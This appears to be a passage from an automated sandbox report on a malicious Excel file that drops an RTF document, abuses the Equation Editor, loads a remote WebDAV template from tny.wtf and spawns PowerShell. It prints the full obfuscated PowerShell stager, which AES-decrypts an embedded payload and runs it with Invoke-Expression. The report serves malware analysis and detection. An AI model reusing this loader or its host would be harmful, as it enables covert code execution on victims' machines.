'+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged = New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g = [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key = ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes = [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes = TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return [System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI53245645968011423739588623973337CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64 = '+'CnIIfj5tD9O95CJERD65QS8cgd6mKhDFXu5KnhuNUHV8eN0Bizzo6XYsPUOr/naNJ9+K8DnwkvsZljh8/jDtCBlcE7JwBlipBYNS69FMVrYo8riAT/OCm+86aVfem+jS7xh93ssL6airSk1E4+mG3y/ys93bKWl7qe/OiIfd0sR1FM9xZhEYuwuHy/AU8FfHXTeSMPl/YzZJ+ERHVh+bArXV063XruUdd/cZK/At2Cd+nbGZfGFDj29bcydLi2HTao5Px2joIFcvB02gojNaG2SWau3s/c6HFNqHbJGGUvRutXMletl29tNTCgqa0tUwol3eukX7WxBG0I6W0I89mN4k+5nR4K2AK8APbfVOX2Kvv5Tano47cej4QtGlf3mt0SPlqwZ9JReU64MQQKkvdzo84oqAoQ+HKZ5+76sSvuVPLVPNwT4waP3/VLkFCFvdaX6peTauqLmO7Enf3jzdxLsVBi7+NpZvpR8FLnBqiZzlImiogkvR17bPAS5CpYJnW/spi74gNlfkH3Qds0UlhmZe/la2ja5Mjup7w5KWxVsHB7OS7tLShSyN7PC/qbynVi6PhL80r558jq+Epf/Jw5jd2cMqIeQ4mv2U7EHxT/brTG1G9P22Aeim3ofkuv8Q/SbtoTP/20JvRjQ8WJRpM/rpy0QrrdKIDxmHOj8D6rmtRQVNLhZ+QU80DQhyY621X7HrHP/CHEzyeyQZWYMrUUzD7owZM8RgeUNb1tZcnVUx5eYVO7nU46ipcNFuuOEq7bDkKPW3S8iF+x6isuilkSnxQGLGoiQ/3UQx1KT5knk+IGE6RsunZht35yevyQ39siNJMcED7UWj/p5RW4pseMzZxQl/ER7KgeB/ga2lAverkwIuezrF3ODu4Fwu5pnQAqjKIbiK2WSd3HqQ6ElDbZDPlYJnIiorFFgTexsUy6Oe4ME8KrjwDHFPmrWUYgSixHjBrs984Mgz6L5vb7M2/1oZiU1cR0qRdZy3k3VSR+EnkjMt7QgpSt+TbAem6N1XrXX9yzuPZHT3jK7lS4aHtIloD1MMXWuIFungQbKc9KeITySZskxIxzuGSwplqK0ziNU0ELPRdi1QwF3PH5FGpGbNrOTsh2BXgal6KV70rLlImHCB/8N7+Zv4j3XQUvj7YpMsgavK4CpP2Kc0q2QBsv7EQwDeKTCM8Lho0uj59AXofd0v7Z0vxAotnN5Mo4LmIYSm7KuWnX/7BetKCLQsfM4MXEXF6te/5nneOgTKpDRxwFFl4mVtKv5tMtOpWM/IW/h9086XNQd1JCqFrA3dwaQ9H6+RTfGXHWBLLV/H2MbX+G3rK+Am8FjxJeLV3vZ/qwk0O2aTk8NsmzYZcdfcOP03B9h/iEr7Se0SP/S6mlR/0wuzt7CmAPKp/CNPz0fC/0tV0xJ8NlgvvQQvk1Zz/ZXQQ==CnI;TMItextoDescriptografado = Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado: TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34 -cReP			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 7_2_005EFAFA push ss; iretd		7_2_005EFB02
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 7_2_005FC38C pushad ; ret		7_2_005FC38D

Persistence and Installation Behavior

Microsoft Office launches external ms-search protocol handler (WebDAV)

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File opened: \Device\RdpDr\;:1\tny.wtf\DavWWWRoot			Jump to behavior

AI detected suspicious Excel or Word document

Source: Office document

LLM: Score: 9 Reasons: The screenshot shows a visually prominent Microsoft Office logo with the text 'This document is protected' which can mislead users into thinking the document is legitimate. The instructions on the right side create a sense of urgency by directing the user to 'Enable Content' to view the document. This is a common tactic used in phishing attacks to trick users into enabling macros, which can then execute malicious code. Additionally, the use of the Microsoft Office branding impersonates a well-known and trusted brand, further increasing the likelihood of the user being deceived. The combination of these elements strongly suggests that the document could be malicious.

Office drops RTF file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File dump: createdsimplethingstogetbackteachingentirethingsaroundtheworldtogetmebackwiththefreatgreatthings_____________sesheismygirlalwayssheismy[1].doc.0.dr			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	File dump: C63FEFCD.doc.3.dr			Jump to dropped file

Office viewer loads remote template

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Section loaded: netapi32.dll and davhlpr.dll loaded

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: #U00d6DEME TAVS#U0130YES#U0130.xls	Stream path 'MBD000177E1/Package' entropy: 7.97199048762 (max. 8.0)
Source: #U00d6DEME TAVS#U0130YES#U0130.xls	Stream path 'Workbook' entropy: 7.99929650029 (max. 8.0)
Source: ~DFB88BC22996138750.TMP.0.dr	Stream path 'Package' entropy: 7.96718436442 (max. 8.0)
Source: F0630000.0.dr	Stream path 'MBD000177E1/Package' entropy: 7.96718436442 (max. 8.0)
Source: F0630000.0.dr	Stream path 'Workbook' entropy: 7.99930766343 (max. 8.0)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

